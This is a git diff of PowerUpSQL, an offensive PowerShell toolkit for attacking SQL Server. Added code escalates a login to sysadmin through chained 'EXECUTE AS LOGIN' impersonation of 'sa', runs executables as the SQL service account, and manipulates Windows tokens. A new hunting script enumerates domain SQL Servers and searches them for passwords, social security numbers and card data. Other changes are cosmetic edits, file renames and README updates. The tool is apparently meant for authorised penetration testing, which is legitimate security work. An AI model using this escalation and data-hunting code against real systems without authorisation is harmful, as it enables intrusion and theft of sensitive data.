($CurrentLogin) is NOT a sysadmin." @@ -22073,6 +23171,44 @@ Function Invoke-SQLAuditPrivImpersonateLogin Write-Verbose -Message "$Instance : - EXPLOITING: The current login ($CurrentLogin) is already a sysadmin. No privilege escalation needed." $Exploited = 'No' } + } + # --------------------------------------------------------------- + # Exploit Nested Impersonation Vulnerability + # --------------------------------------------------------------- + if($Nested) + { + # Status user + Write-Verbose -Message "$Instance : - EXPLOITING: Starting Nested Impersonation exploit process (under assumption to levels of nesting and 1st first can impersonate sa)..." + + # Check if user is already a sysadmin + $SysadminPreCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status + if($SysadminPreCheck -ne 1) + { + # Status user + Write-Verbose -Message "$Instance : - EXPLOITING: Verified that the current user ($CurrentLogin) is NOT a sysadmin." + Write-Verbose -Message "$Instance : - EXPLOITING: Attempting to add the current user ($CurrentLogin) to the sysadmin role..." + + # Attempt to add the current login to sysadmins fixed server role + $null = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "EXECUTE AS LOGIN = '$ImpersonatedLogin';EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin'" + + # Verify the login was added successfully + $SysadminPostCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status + if($SysadminPostCheck -eq 1) + { + Write-Verbose -Message "$Instance : - EXPLOITING: It was possible to make the current user ($CurrentLogin) a sysadmin!" + $Exploited = 'Yes' + } + else + { + Write-Verbose -Message "$Instance : - EXPLOITING: It was not possible to make the current user ($CurrentLogin) a sysadmin." + } + } + else + { + # Status user + Write-Verbose -Message "$Instance : - EXPLOITING: The current login ($CurrentLogin) is already a sysadmin. No privilege escalation needed." + $Exploited = 'No' + } } } else @@ -22438,7 +23574,7 @@ Function Invoke-SQLImpersonateServiceCmd Process { # Status user - Write-Output "Note: The verbose flag will give you more info if you need it." + Write-Host "Note: The verbose flag will give you more info if you need it." # Get SQL services Write-Verbose "Gathering list of SQL Server services running locally..." @@ -22474,7 +23610,7 @@ Function Invoke-SQLImpersonateServiceCmd # Run executable as service account if($s_pathname -like "$p_ExecutablePath"){ - Write-Output "$s_instance - Service: $s_displayname - Running command `"$Exe`" as $s_serviceaccount" + Write-Host "$s_instance - Service: $s_displayname - Running command `"$Exe`" as $s_serviceaccount" # Setup command $MyCmd = "/C $Exe" @@ -22491,7 +23627,7 @@ Function Invoke-SQLImpersonateServiceCmd End { # Status user - Write-Output "All done." + Write-Host "All done." } } @@ -22781,7 +23917,7 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') - Write-Output $TypeBuilder.CreateType() + Write-Host $TypeBuilder.CreateType() } @@ -22814,7 +23950,7 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + Write-Host $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } ############################### @@ -24282,11 +25418,11 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke { if ($Success) { - Write-Output "RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + Write-Host "RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" } else { - Write-Output "RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + Write-Host "RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" } } } @@ -24398,14 +25534,14 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke elseif ($ImpersonateUser) { Invoke-ImpersonateUser -hToken $hToken | Out-Null - Write-Output "Running As: $([Environment]::UserDomainName)\$([Environment]::UserName)" + Write-Host "Running As: $([Environment]::UserDomainName)\$([Environment]::UserName)" } Free-AllTokens -TokenInfoObjs $AllTokens } elseif ($PsCmdlet.ParameterSetName -ieq "WhoAmI") { - Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" + Write-Host "$([Environment]::UserDomainName)\$([Environment]::UserName)" } else #Enumerate tokens { @@ -24413,11 +25549,11 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke if ($PsCmdlet.ParameterSetName -ieq "ShowAll") { - Write-Output $AllTokens + Write-Host $AllTokens } else { - Write-Output (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values + Write-Host (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values } Invoke-RevertToSelf @@ -24476,11 +25612,11 @@ function Test-IsLuhnValid if ((($checksum + $checksumDigit) % 10) -eq 0 -and $NumCount -ge 12) { - Write-Output -InputObject $true + Write-Host -InputObject $true } else { - Write-Output -InputObject $false + Write-Host -InputObject $false } } @@ -24524,7 +25660,7 @@ function ConvertTo-Digits $digits[$i] = $digit $n = [math]::Floor($n / 10) } - Write-Output -InputObject $digits + Write-Host -InputObject $digits } @@ -25242,27 +26378,54 @@ function Invoke-Parallel # Source: http://www.padisetty.com/2014/05/powershell-bit-manipulation-and-network.html # Notes: Changed name from checkSubnet to Test-Subnet (Approved Verbs) +# Updates by Ryan Cobb (cobbr) function Test-Subnet ([string]$cidr, [string]$ip) { $network, [int]$subnetlen = $cidr.Split('/') $a = [uint32[]]$network.split('.') - [uint32] $unetwork = ($a[0] -shl 24) + ($a[1] -shl 16) + ($a[2] -shl 8) + $a[3] + [uint32] $unetwork = (Convert-BitShift $a[0] -Left 24) + (Convert-BitShift $a[1] -Left 16) + (Convert-BitShift $a[2] -Left 8) + $a[3] - $mask = (-bnot [uint32]0) -shl (32 - $subnetlen) + $mask = Convert-BitShift (-bnot [uint32]0) -Left (32 - $subnetlen) $a = [uint32[]]$ip.split('.') - [uint32] $uip = ($a[0] -shl 24) + ($a[1] -shl 16) + ($a[2] -shl 8) + $a[3] + [uint32] $uip = (Convert-BitShift $a[0] -Left 24) + (Convert-BitShift $a[1] -Left 16) + (Convert-BitShift $a[2] -Left 8) + $a[3] $unetwork -eq ($mask -band $uip) } +# Source: https://stackoverflow.com/questions/35116636/bit-shifting-in-powershell-2-0 +function Convert-BitShift { + param ( + [Parameter(Position = 0, Mandatory = $True)] + [int] $Number, + + [Parameter(ParameterSetName = 'Left', Mandatory = $False)] + [int] $Left, + + [Parameter(ParameterSetName = 'Right', Mandatory = $False)] + [int] $Right + ) + + $shift = 0 + if ($PSCmdlet.ParameterSetName -eq 'Left') + { + $shift = $Left + } + else + { + $shift = -$Right + } + + return [math]::Floor($Number * [math]::Pow(2,$shift)) +} + #endregion ######################################################################### # -#region Primary FUNCTIONs -# Invoke-SQLDump, Invoke-SQLAudit, Invoke-SQLEscalatePriv +#region PRIMARY FUNCTIONS +# Invoke-SQLDump, Invoke-SQLAudit, Invoke-SQLEscalatePriv # ######################################################################### @@ -25365,6 +26528,15 @@ Function Invoke-SQLAudit Begin { + + # If provided, verify write access to target directory + if($OutFolder){ + if((Test-FolderWriteAccess "$OutFolder") -eq $false){ + Write-Verbose -Message 'YOU DONT APPEAR TO HAVE WRITE ACCESS TO THE PROVIDED DIRECTORY.' + BREAK + } + } + # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') @@ -25638,7 +26810,12 @@ Function Invoke-SQLDumpInfo [Parameter(Mandatory = $false, HelpMessage = 'Write output to csv files.')] - [switch]$csv + [switch]$csv, + + [Parameter(Mandatory = $false, + HelpMessage = 'Crawl available SQL Server links.')] + [switch]$CrawlLinks + ) Begin @@ -25703,21 +26880,21 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseUsers + # Getting Database Users Write-Verbose -Message "$Instance - Getting database users for databases..." $Results = Get-SQLDatabaseUser -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_Users.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_users.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_Users.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_users.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabasePrivs + # Getting Database Privs Write-Verbose -Message "$Instance - Getting privileges for databases..." $Results = Get-SQLDatabasePriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -25731,7 +26908,7 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseRoles + # Getting Database Roles Write-Verbose -Message "$Instance - Getting database roles..." $Results = Get-SQLDatabaseRole -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -25759,7 +26936,7 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseTables + # Getting Database Schemas Write-Verbose -Message "$Instance - Getting database schemas..." $Results = Get-SQLDatabaseSchema -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -25773,7 +26950,21 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseTables + # Getting Temp Tables + Write-Verbose -Message "$Instance - Getting temp tables..." + $Results = Get-SQLTableTemp -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_temp_tables.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_temp_tables.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting Database Tables Write-Verbose -Message "$Instance - Getting database tables..." $Results = Get-SQLTable -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -25834,12 +27025,12 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLServerConfiguration -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Configuration.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_configuration.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Configuration.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_configuration.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -25885,20 +27076,6 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting Server Links - Write-Verbose -Message "$Instance - Getting server links..." - $Results = Get-SQLServerLink -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose - if($xml) - { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.xml' - $Results | Export-Clixml $OutPutPath - } - else - { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.csv' - $Results | Export-Csv -NoTypeInformation $OutPutPath - } - # Getting Server Credentials Write-Verbose -Message "$Instance - Getting server credentials..." $Results = Get-SQLServerCredential -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -25941,6 +27118,21 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + + # Getting Stored Procedures that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting stored procedures that use global temp tables..." + $Results = Get-SQLStoredProcedure -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | where ProcedureDefinition -like "*##*" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_globaltmptbl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_globaltmptbl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + # Getting Custom XP Stored Procedures Write-Verbose -Message "$Instance - Getting custom extended stored procedures..." $Results = Get-SQLStoredProcedureXP -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -26002,12 +27194,12 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLStoredProcedureCLR -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedur_CLR.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_clr.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_CLR_stored_procedure_CLR.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_clr.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26025,6 +27217,20 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + # Getting Triggers DML that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting DML triggers that use global temp tables..." + $Results = Get-SQLTriggerDml -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | where TriggerDefinition -like "*##*" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml_globaltmptbl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml_globaltmptbl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + # Getting Triggers DDL Write-Verbose -Message "$Instance - Getting DDL triggers..." $Results = Get-SQLTriggerDdl -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -26039,17 +27245,31 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + # Getting Triggers DDL that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting DDL triggers that use global temp tables..." + $Results = Get-SQLTriggerDdl -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | where TriggerDefinition -like "*##*" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_ddl_globaltmptbl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_ddl_globaltmptbl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + # Getting Version Information Write-Verbose -Message "$Instance - Getting server version information..." $Results = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_version.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_version.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26081,17 +27301,31 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting Agent Jobs Information - Write-Verbose -Message "$Instance - Getting Agent Jobs information..." + # Getting Agent Jobs + Write-Verbose -Message "$Instance - Getting Agent Jobs..." $Results = Get-SQLAgentJob -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Agent_Job.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_job.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_jobs.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting Agent Jobs that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting Agent Jobs that use global temp tables..." + $Results = Get-SQLAgentJob -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Keyword "##" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_job_globaltmptbl.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Agent_Jobs.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_jobs_globaltmptbl.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26100,15 +27334,45 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLOleDbProvder -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_OleDbProvders.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_oledbproviders.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_oledbproviders.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting Server Links + Write-Verbose -Message "$Instance - Getting server links..." + $Results = Get-SQLServerLink -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_OleDbProvders.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } + # Getting Server Links via Crawl + if($CrawlLinks){ + Write-Verbose -Message "$Instance - Crawling linked servers..." + $Results = Get-SQLServerLinkCrawl -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Export2 + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links_crawl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links_crawl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + } + Write-Verbose -Message "$Instance - END" } End @@ -26116,4 +27380,4 @@ Function Invoke-SQLDumpInfo } } -#endregion \ No newline at end of file +#endregion diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index ca9a263..6b6b2bb 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.104.13' + ModuleVersion = '1.105.0' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -82,6 +82,7 @@ 'Get-SQLStoredProcedureXp', 'Get-SQLSysadminCheck', 'Get-SQLTable', + 'Get-SQLTableTemp', 'Get-SQLTriggerDdl', 'Get-SQLTriggerDml', 'Get-SQLView', @@ -112,7 +113,9 @@ 'Invoke-SQLOSCmdPython', 'Invoke-SQLOSCmdR', 'Invoke-SQLOSCmdAgentJob', - 'Invoke-TokenManipulation' + 'Invoke-TokenManipulation', + 'Get-DomainObject', + 'Get-DomainSpn' ) FileList = 'PowerUpSQL.psm1', 'PowerUpSQL.ps1', 'README.md' } diff --git a/README.md b/README.md index cdcee9e..cdc218e 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,10 @@ -![PowerUpSQLLogo](https://github.com/NetSPI/PowerUpSQL/blob/master/images/PowerUpsQL-2018-M.png) -
+   [![licence badge]][licence] [![wiki Badge]][wiki] [![stars badge]][stars] [![forks badge]][forks] -[![issues badge]][issues] | +[![issues badge]][issues] [licence badge]:https://img.shields.io/badge/license-New%20BSD-blue.svg [stars badge]:https://img.shields.io/github/stars/NetSPI/PowerUpSQL.svg @@ -19,22 +18,24 @@ [issues]:https://github.com/NetSPI/PowerUpSQL/issues [wiki]:https://github.com/NetSPI/PowerUpSQL/wiki -### PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server +![PowerUpSQLLogo](https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/images/PowerUpSQL_GitHub4.png) PowerUpSQL includes functions that support SQL Server discovery, weak configuration auditing, privilege escalation on scale, and post exploitation actions such as OS command execution. It is intended to be used during internal penetration tests and red team engagements. However, PowerUpSQL also includes many functions that can be used by administrators to quickly inventory the SQL Servers in their ADS domain and perform common threat hunting tasks related to SQL Server. ### PowerUpSQL Wiki -For setup instructions, cheat sheets, blogs, function overviews, and usage information check out the wiki: https://github.com/NetSPI/PowerUpSQL/wiki +For setup instructions, cheat Sheets, blogs, function overviews, and usage information check out the wiki: https://github.com/NetSPI/PowerUpSQL/wiki -### Author, Contributors, and License -* Author: Scott Sutherland (@_nullbind), NetSPI - 2018 +### Author and Contributors +* Author: Scott Sutherland (@_nullbind) ![Twitter Follow](https://img.shields.io/twitter/follow/_nullbind.svg?style=social) * Major Contributors: Antti Rantasaari, Eric Gruber (@egru), Thomas Elling (@thomaselling) -* Contributors: Alexander Leary (@0xbadjuju), @leoloobeek, Andrew Luke(@Sw4mpf0x), Mike Manzotti (@mmanzo_), and @ktaranov -* License: BSD 3-Clause -* Required Dependencies: None +* Contributors: Alexander Leary (@0xbadjuju), @leoloobeek, Andrew Luke(@Sw4mpf0x), Mike Manzotti (@mmanzo_), @TVqQAAMA, @cobbr_io, @mariuszbit (mgeeky), @0xe7 (@exploitph), phackt(@phackt_ul), @vsamiamv, and @ktaranov ### Issue Reports -I perform QA on functions before we publish them, but it's hard to consider every scenario. So I just wanted to say thanks to those of you that have taken the time to give me a heads up on issues with PowerUpSQL so that we can make it better. :) -* Bug Reporters: @ClementNotin, @runvirus, @CaledoniaProject +I perform QA on functions before we publish them, but it's hard to consider every scenario. So I just wanted to say thanks to those of you that have taken the time to give me a heads up on issues with PowerUpSQL so that we can make it better. +* Bug Reporters: @ClementNotin, @runvirus, @CaledoniaProject, @christruncer, rvrsh3ll(@424f424f),@mubix (Rob Fuller) + + +### License +* BSD 3-Clause diff --git a/images/2019_Blackhat_Shirt_Back.png b/images/2019_Blackhat_Shirt_Back.png new file mode 100644 index 0000000..9c6be4f Binary files /dev/null and b/images/2019_Blackhat_Shirt_Back.png differ diff --git a/images/2019_Blackhat_Shirt_Front.png b/images/2019_Blackhat_Shirt_Front.png new file mode 100644 index 0000000..e57b2d8 Binary files /dev/null and b/images/2019_Blackhat_Shirt_Front.png differ diff --git a/images/Background-NetSPI-HackResponsibly1000.png b/images/Background-NetSPI-HackResponsibly1000.png new file mode 100644 index 0000000..e987084 Binary files /dev/null and b/images/Background-NetSPI-HackResponsibly1000.png differ diff --git a/images/Background-NetSPI-HackResponsibly2600.png b/images/Background-NetSPI-HackResponsibly2600.png new file mode 100644 index 0000000..78f9ca9 Binary files /dev/null and b/images/Background-NetSPI-HackResponsibly2600.png differ diff --git a/images/NetSPI-HackRecklessly.png b/images/NetSPI-HackRecklessly.png new file mode 100644 index 0000000..790cb5f Binary files /dev/null and b/images/NetSPI-HackRecklessly.png differ diff --git a/images/NetSPI-HackResponsibly.png b/images/NetSPI-HackResponsibly.png new file mode 100644 index 0000000..8719a08 Binary files /dev/null and b/images/NetSPI-HackResponsibly.png differ diff --git a/images/PowerUpSQL_GitHub.png b/images/PowerUpSQL_GitHub.png new file mode 100644 index 0000000..f635127 Binary files /dev/null and b/images/PowerUpSQL_GitHub.png differ diff --git a/images/PowerUpSQL_GitHub2.png b/images/PowerUpSQL_GitHub2.png new file mode 100644 index 0000000..7328cba Binary files /dev/null and b/images/PowerUpSQL_GitHub2.png differ diff --git a/images/PowerUpSQL_GitHub3.png b/images/PowerUpSQL_GitHub3.png new file mode 100644 index 0000000..6bd193c Binary files /dev/null and b/images/PowerUpSQL_GitHub3.png differ diff --git a/images/PowerUpSQL_GitHub4.png b/images/PowerUpSQL_GitHub4.png new file mode 100644 index 0000000..d4c393a Binary files /dev/null and b/images/PowerUpSQL_GitHub4.png differ diff --git a/images/PowerUpSQL_GitHub5.png b/images/PowerUpSQL_GitHub5.png new file mode 100644 index 0000000..ba623b7 Binary files /dev/null and b/images/PowerUpSQL_GitHub5.png differ diff --git a/presentations/2012-AppSecUSA-SQL-Server-Exploitation-Escalation-and-Pilfering.pdf b/presentations/2012-AppSecUSA-SQL-Server-Exploitation-Escalation-and-Pilfering.pdf new file mode 100644 index 0000000..83cb1e1 Binary files /dev/null and b/presentations/2012-AppSecUSA-SQL-Server-Exploitation-Escalation-and-Pilfering.pdf differ diff --git a/presentations/2015-AppSecCali-10-Deadly-Sins-of-SQL-Server-Configuration.pdf b/presentations/2015-AppSecCali-10-Deadly-Sins-of-SQL-Server-Configuration.pdf new file mode 100644 index 0000000..da64d64 Binary files /dev/null and b/presentations/2015-AppSecCali-10-Deadly-Sins-of-SQL-Server-Configuration.pdf differ diff --git a/presentations/2020-Troopers20-SQL Server Hacking Tips for Active Directory Environments_Final.pdf b/presentations/2020-Troopers20-SQL Server Hacking Tips for Active Directory Environments_Final.pdf new file mode 100644 index 0000000..ccd6c00 Binary files /dev/null and b/presentations/2020-Troopers20-SQL Server Hacking Tips for Active Directory Environments_Final.pdf differ diff --git a/scripts/pending/Invoke-HuntSQLServers.ps1 b/scripts/pending/Invoke-HuntSQLServers.ps1 new file mode 100644 index 0000000..1262709 --- /dev/null +++ b/scripts/pending/Invoke-HuntSQLServers.ps1 @@ -0,0 +1,754 @@ +# ------------------------------------------ +# Function: Invoke-HuntSQLServers +# ------------------------------------------ +# Author: Scott Sutherland, NetSPI +# License: 3-clause BSD +# Version 1.2 +# Requires PowerUpSQL +function Invoke-HuntSQLServers +{ + <# + .SYNOPSIS + This function wraps around PowerUpSQL functions to inventory access to SQL Server instances associated with + Active Directory domains, and attempts to enumerate sensitive data. + .PARAMETER Username + Domain account to authenticate to Active Directory. + .PARAMETER Password + Domain password to authenticate to Active Directory. + .PARAMETER DomainController + Domain controller to authenticated to. Requires username/password or credential. + .PARAMETER Threads + Number of concurrent tasks to run at once. + .PARAMETER CheckMgmt + Perform SPN discovery of MSServerClusterMgmtAPI SPN as well. This is much slower. + .PARAMETER CheckAll + Attempt to log into all identify instances even if they dont respond to UDP requests. + .PARAMETER Output Directory + File path where all csv and html report will be exported. + .EXAMPLE + Run as current domain user on domain joined system. Only targets instances that respond to UDP scan. + PS C:\> Invoke-HuntSQLServers -OutputDirectory C:\temp\ + .EXAMPLE + Run as current domain user on domain joined system. Target all instances found during SPN discovery. + PS C:\> Invoke-HuntSQLServers -CheckAll -OutputDirectory C:\temp\ + .EXAMPLE + Run as current domain user on domain joined system. Target all instances found during SPN discovery. + Also, check for management servers that commonly have unregistered instances via additional UDP scan. + PS C:\> Invoke-HuntSQLServers -CheckAll -CheckMgmt -OutputDirectory C:\temp\ + .EXAMPLE + Run as alernative domain user against alertative domain: + PS C:\> runas /netonly /user domain\user powershell_ise.exe + PS C:\> import-module PowerUpSQL + PS C:\> Invoke-HuntSQLServers -CheckAll -OutputDirectory C:\temp\ -DomainController 192.168.1.1 -Username domain\user -Password MyPassword + .EXAMPLE + Full output example. + PS C:\> Invoke-HuntSQLServers -OutputDirectory C:\temp\ + + ---------------------------------------------------------------- + | Invoke-HuntSQLServers | + ---------------------------------------------------------------- + | | + | This function automates the following tasks: | + | | + | Instance Discovery | + | o Determine current computer's domain | + | o Query the domain controller via LDAP for SQL Server instances| + | o Filter for instances that respond to UDP scans | + | | + | Access Discovery | + | o Filter for instances that can be logged into | + | o Filter for instances that provide sysadmin access | + | o Identify potentially excessive role members (sysadmin) | + | o Identify shared SQL Server service accounts | + | o Summarize versions that could be logged into | + | | + | Data Target Discovery: Database Targets | + | o Filter based on database name | + | o Filter based on database encryption | + | | + | Data Target Discovery: Sensitive Data | + | o Social security numbers via column name | + | o Credit card numbers via column name | + | | + | Data Target Discovery: Passwords | + | o Passwords via column names | + | o Passwords in agent jobs (sysadmin) | + | o Passwords in stored procedures (sysadmin) | + | | + ---------------------------------------------------------------- + | Note: This can take hours to run in large environments. | + ---------------------------------------------------------------- + [*] Results will be written to C:\temp\test1 + [*] Start time: 09/30/2001 12:59:51 + [*] Verifying connectivity to the domain controller + [*] - Targeting domain domain.com + [*] - Confirmed connection to domain controller myfirstdc.domain.com + [*] ------------------------------------------------------------- + [*] INSTANCE DISCOVERY + [*] ------------------------------------------------------------- + [*] Querying LDAP for SQL Server SPNs (mssql*). + [*] - 100 SQL Server SPNs were found across 50 computers. + [*] - Writing list of SQL Server SPNs to C:\temp\domain.com-SQL-Server-Instance-SPNs.csv + [*] Performing UDP scanning 50 computers. + [*] - 50 instances responded. + [*] ------------------------------------------------------------- + [*] ACCESS DISCOVERY + [*] ------------------------------------------------------------- + [*] Attempting to log into 50 instances found via SPN query. + [*] - 25 could be logged into. + [*] Listing sysadmin access. + [*] - 2 SQL Server instances provided sysadmin privileges. + [*] Attempting to grab role members from 4 instances. + [*] - This usually requires special privileges + [*] - 5 role members were found. + [*] Identifying excessive role memberships. + [*] - 5 were found. + [*] Identifying shared SQL Server service accounts. + [*] - 6 shared accounts were found. + [*] Creating a list of accessible SQL Server instance versions. + [*] - 3 versions were found that could be logged into. + 